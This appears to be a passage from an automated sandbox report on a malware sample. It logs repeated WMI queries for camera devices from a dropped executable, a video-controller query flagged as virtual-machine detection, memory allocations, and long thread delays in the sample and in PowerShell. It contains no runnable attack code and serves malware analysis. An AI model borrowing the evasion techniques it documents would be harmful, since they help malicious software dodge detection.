Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Memory allocated: 750000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Memory allocated: 1A680000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Memory allocated: C60000 memory reserve \| memory write watch
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Memory allocated: 1AB80000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 600000
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 599871
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 599765
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 599655
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 598696
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 3600000
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 598586
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 598125
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 597500
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 596828
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 596344
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 595891
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 595406
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 595109
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 594781
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 594516
